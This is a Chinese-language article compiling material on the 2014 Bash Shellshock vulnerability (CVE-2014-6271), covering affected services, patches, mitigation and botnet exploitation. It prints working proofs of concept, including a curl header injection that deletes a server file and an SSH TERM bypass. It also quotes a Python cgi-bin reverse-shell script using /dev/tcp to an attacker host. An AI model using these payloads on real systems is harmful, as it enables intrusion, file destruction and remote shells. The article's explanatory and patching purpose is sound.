手机版
你好,游客 登录 注册 搜索
背景:
阅读新闻

Bash Shellshock事件:CVE-2014-6271资料汇总

[日期:2014-09-26] 来源:Solidot.org  作者:Linux [字体: ]

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,目前已经公布POC的漏洞利用有HTTP,OpenSSH和DHCP;Shellshock比heartbleed更容易自动化的去攻击目标,漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生,这种担心已经得到了证实:更糟糕的情况已经发生,僵尸网络的狂欢昨天已经开始,从昨天的样本情况看,这是一个有C&C功能的botnet,"她"会先寻找busybox的目标,然后尝试入侵目标机,之后尝试提权,这个恶意软件主要目的是利用肉鸡来DDOS,攻击者的下一个目标将会是WEB。今天,一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析

Gitlab-shell 受 Bash CVE-2014-6271 漏洞影响  http://www.linuxidc.com/Linux/2014-09/107181.htm

Linux再曝安全漏洞Bash 比心脏出血还严重 http://www.linuxidc.com/Linux/2014-09/107176.htm

解决办法是升级 Bash,请参考这篇文章http://www.linuxidc.com/Linux/2014-09/107182.htm

  1. [sth0r@shawn-fortress]$ uname -a
  2. Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
  3.  
  4. |=-----------------------------------------------------------------=|
  5. |=-----=[ D O N O T F U C K W I T H A H A C K E R ]=-----=|
  6. |=-----------------------------------------------------------------=|
  7. |=------------------------[#4 File 0x07 ]-------------------------=|
  8. |=-----------------------------------------------------------------=|
  9. |=-------------------=[BashShellshock事件:]=--------------------=|
  10. |=-------------------=[ CVE-2014-6271资料汇总]=--------------------=|
  11. |=-----------------------------------------------------------------=|
  12. |=---------------------=[ByShawn the R0ck ]=---------------------=|
  13. |=-----------------------------------------------------------------=|
  14. |=-----------------------=[Sep252014]=------------------------=|
  15. |=-----------------------------------------------------------------=| 

--[ Content

0. What is BASH

1. CVE-2014-6271

2. Incomplete patch

3. Mitigation

4. Story to be continued...

5. References

 

--[ 0. 什么是BASH

Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。

--[ 1. CVE-2014-6271

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:

  • 在sshd配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。
  • Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen,Python中使用 os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用,open/system的情况都会受此漏洞影响。
  • PHP脚本执行在mod_php不会受影响。
  • DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
  • 守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。
  • 任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。

我们先来看一个简单的POC:

1,本地SHELL环境中测试是否有漏洞:

  1. $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果存在漏洞会打印"vulnerable"。

2,C程序:

  1. /* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
  2. #include<unistd.h>
  3. #include<stdio.h>
  4.  
  5. int main()
  6. {
  7. char*envp[]={
  8. "PATH=/bin:/usr/bin",
  9. "/usr/bin/id=() { "
  10. "echo pwn me twice, shame on me; }; "
  11. "echo pwn me once, shame on you",
  12. NULL
  13. };
  14. char*argv[]={"/bin/bash", NULL };
  15.  
  16. execve(argv[0], argv, envp);
  17. perror("execve");
  18. return1;
  19. }
  20.  
  21. je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c
  22. je@tiny:~$ ./bash-is-fun
  23. pwn me once, shame on you
  24. je@tiny:/home/je$ /usr/bin/id
  25. pwn me twice, shame on me

这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。

3,INVISIBLETHREAT上对于HTTP环境的测试:

创建一个脚本叫poc.cgi:

  1. #!/bin/bash
  2.  
  3. echo "Content-type: text/html"
  4. echo ""
  5.  
  6. echo '<html>'
  7. echo '<head>'
  8. echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
  9. echo '<title>PoC</title>'
  10. echo '</head>'
  11. echo '<body>'
  12. echo '<pre>'
  13. /usr/bin/env
  14. echo '</pre>'
  15. echo '</body>'
  16. echo '</html>'
  17.  
  18. exit0

把脚本放入测试机后,输入:

  1. $ curl http://192.168.0.1/poc.cgi
  2.  
  3. <html>
  4. <head>
  5. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  6. <title>PoC</title>
  7. </head>
  8. <body>
  9. <pre>
  10. SERVER_SIGNATURE=<address>Apache/2.2.22(Debian)Server at 192.168.0.1Port80</address>
  11.  
  12. HTTP_USER_AGENT=curl/7.26.0
  13. SERVER_PORT=80
  14. HTTP_HOST=192.168.0.1
  15. DOCUMENT_ROOT=/var/www
  16. SCRIPT_FILENAME=/var/www/poc.cgi
  17. REQUEST_URI=/poc.cgi
  18. SCRIPT_NAME=/poc.cgi
  19. REMOTE_PORT=40974
  20. PATH=/usr/local/bin:/usr/bin:/bin
  21. PWD=/var/www
  22. SERVER_ADMIN=webmaster@localhost
  23. HTTP_ACCEPT=*/*
  24. REMOTE_ADDR=192.168.0.1
  25. SHLVL=1
  26. SERVER_NAME=192.168.0.1
  27. SERVER_SOFTWARE=Apache/2.2.22 (Debian)
  28. QUERY_STRING=
  29. SERVER_ADDR=192.168.0.1
  30. GATEWAY_INTERFACE=CGI/1.1
  31. SERVER_PROTOCOL=HTTP/1.1
  32. REQUEST_METHOD=GET
  33. _=/usr/bin/env
  34. </pre>
  35. </body>
  36. </html>

再来试试使用curl设置一个user-agent玩玩:

  1. $ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi
  2.  
  3. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  4. <html><head>
  5. <title>500InternalServerError</title>
  6. </head><body>
  7. <h1>InternalServerError</h1>
  8. <p>The server encountered an internal error or
  9. misconfiguration and was unable to complete
  10. your request.</p>
  11. <p>Please contact the server administrator,
  12. webmaster@localhost and inform them of the time the error occurred,
  13. and anything you might have done that may have
  14. caused the error.</p>
  15. <p>More information about this error may be available
  16. in the server error log.</p>
  17. <hr>
  18. <address>Apache/2.2.22(Debian)Server at 192.168.0.1Port80</address>
  19. </body></html>

上面已经把/var/www/target给删除了,再来看看:

  1. $ curl http://192.168.0.1/target
  2.  
  3. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  4. <html><head>
  5. <title>404NotFound</title>
  6. </head><body>
  7. <h1>NotFound</h1>
  8. <p>The requested URL /target was not found on this server.</p>
  9. <hr>
  10. <address>Apache/2.2.22(Debian)Server at 192.168.0.1Port80</address>
  11. </body></html>

4, 针对OpenSSH的POC

目前有2个攻击平面,Solar Designer给出了 SSH_ORIGINAL_COMMAND的本地利用方法:http://seclists.org/oss-sec/2014/q3/651

还有就是针对远程利用的POC,通过利用TERM:

在机器A上生成一对RSA key pair:

  1. shawn@debian-test32:~/.ssh$ ssh-keygen
  2. Generatingpublic/private rsa key pair.
  3. Enter file in which to save the key (/home/shawn/.ssh/id_rsa):
  4. Enter passphrase (empty forno passphrase):
  5. Enter same passphrase again:
  6. Your identification has been saved in/home/shawn/.ssh/id_rsa.
  7. Yourpublic key has been saved in/home/shawn/.ssh/id_rsa.pub.
  8. The key fingerprint is:
  9. 09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32
  10. The key's randomart image is:
  11. +--[ RSA 2048]----+
  12. | ... |
  13. | .o . |
  14. | ooo |
  15. | o +.o. |
  16. | = =S. |
  17. | . * o E |
  18. | o o . + |
  19. |. = o o |
  20. |oo . . |
  21. +-----------------+

把A的公钥拷贝到机器B上:

  1. $cat /home/shawn/.ssh/authorized_keys
  2. command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32

一个用于控制command/SSH_ORIGINAL_COMMAND的脚本

  1. shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh
  2. #!/bin/sh
  3.  
  4. case"$SSH_ORIGINAL_COMMAND"in
  5. "ps")
  6. ps -ef
  7. ;;
  8. "vmstat")
  9. vmstat 1100
  10. ;;
  11. "cups stop")
  12. /etc/init.d/cupsys stop
  13. ;;
  14. "cups start")
  15. /etc/init.d/cupsys start
  16. ;;
  17. *)
  18. echo "Sorry. Only these commands are available to you:"
  19. echo "ps, vmstat, cupsys stop, cupsys start"
  20. #exit 1
  21. ;;
  22. esac

机器A上可以正常的使用限制脚本:

  1. shawn@debian-test32:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
  2. shawn@debian-test32:~/.ssh$ ssh shawn@192.168.115.129 $SSH_ORIGINAL_COMMAND
  3. Enter passphrase for key '/home/shawn/.ssh/id_rsa':
  4. UID PID PPID C STIME TTY TIME CMD
  5. root 10016:47?00:00:02/sbin/init showopts
  6. root 20016:47?00:00:00[kthreadd]
  7. root 32016:47?00:00:00[ksoftirqd/0]

借助TERM来利用:

  1. shawn@debian-test32:~$ export TERM='() { :;}; id'; ssh shawn@192.168.115.129
  2. Enter passphrase for key '/home/shawn/.ssh/id_rsa':
  3. uid=1000(shawn) gid=100(users) groups=100(users)
  4. Connection to 192.168.115.129 closed.

5,DHCP:

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/ 

--[ 2. 补丁情况

从最早GNU/Linux发行版社区收到的补丁: https://bugzilla.novell.com/attachment.cgi?id=606672 

可以看出BASH的确没有做异常处理,而直接解析后就执行了。

正式的社区补丁在这里:

http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 
http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 
http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 
http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 
http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 
http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025 

但由于补丁修复的不完整,导致了CVE-2014-7169的爆出,POC如下:

  1. shawn@shawn-fortress /tmp $ date -u > test_file
  2. shawn@shawn-fortress /tmp $ env X='() { (a)=<\' bash -c 'test_file cat'
  3. bash: X: line 1: syntax error near unexpected token `='
  4. bash: X: line 1:`'
  5. bash: error importing function definition for `X'
  6. Thu Sep 25 09:37:04 UTC 2014

这个POC可以让攻击者能读文件,看来后续的故事还没结束................... (Sep 25 13:30 UTC 2014)

UTC时间2014年9月25日上午,CVE-2014-7169被BASH社区修复,目前主要的GNU/Linux发行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已经提供了相
关的升级。

2014年9月26日,BASH又爆出了CVE-2014-7186和CVE-2014-7187:http://www.openwall.com/lists/oss-security/2014/09/26/2 

--[ 3. 防御方案

在各种GNU/Linux发行版里需要升级:

Debian-based(包括Ubuntu):

  1. sudo apt-get update && apt-get upgrade

Gentoo:

  1. sudo emerge --sync && glsa-check -f affected

OpenSSH:

加入no-pty

--[ 4. 后续故事

这个漏洞引起的故事并没有因为补丁而结束,因为这个星球上有太多人不会那么care这个漏洞,也就是说他们不会即时的去打补丁,而从攻击者的一方而言,从漏洞公开已经出现了很多类似:

  1. #
  2. #CVE-2014-6271 cgi-bin reverse shell
  3. #
  4.  
  5. import httplib,urllib,sys
  6.  
  7. if(len(sys.argv)<4):
  8. print"Usage: %s <host> <vulnerable CGI> <attackhost/IP>"% sys.argv[0]
  9. print"Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080"% sys.argv[0]
  10. exit(0)
  11.  
  12. conn = httplib.HTTPConnection(sys.argv[1])
  13. reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1"% sys.argv[3]
  14.  
  15. headers ={"Content-type":"application/x-www-form-urlencoded",
  16. "test":reverse_shell }
  17. conn.request("GET",sys.argv[2],headers=headers)
  18. res = conn.getresponse()
  19. print res.status, res.reason
  20. data = res.read()
  21. print data

的工具,Shellshock比heartbleed更容易自动化的去攻击目标,漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生,这种担心已经得到了证实: https://gist.github.com/anonymous/929d622f3b36b00c0be1 

虽然目前的样本不是蠕虫,但很明显,僵尸网络的狂欢已经开始,从目前样本的情况看,这是一个有C&C功能的botnet,"她"会先寻找busybox的目标,然后尝试入侵目标机,之后尝试提权,这个恶意软件主要目的是利用肉鸡来DDOS,攻击者的下一个目标将会是WEB。一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析:http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html 

通常来讲,一个漏洞曝光到自动化利用会在24小时内完成,所以各位抓紧时间打补丁。

--[ 5. References

[1] BASH

http://www.gnu.org/software/bash/ 

[2] Bash specially-crafted environment variables code injection attack

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ 

[3] CVE-2014-6271

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 

[4] CVE-2014-7169

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169 

[5] CVE-2014-6271: remote code execution through bash

http://seclists.org/oss-sec/2014/q3/651 

[6] SSH, The Secure Shell: The Definitive Guide

http://oreilly.com/catalog/sshtdg/chapter/ch08.html 

[7] CVE-2014-6271 cgi-bin reverse shell

http://pastebin.com/166f8Rjx 

本文永久更新链接地址http://www.linuxidc.com/Linux/2014-09/107250.htm

linux
相关资讯       bash  CVE-2014-6271 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款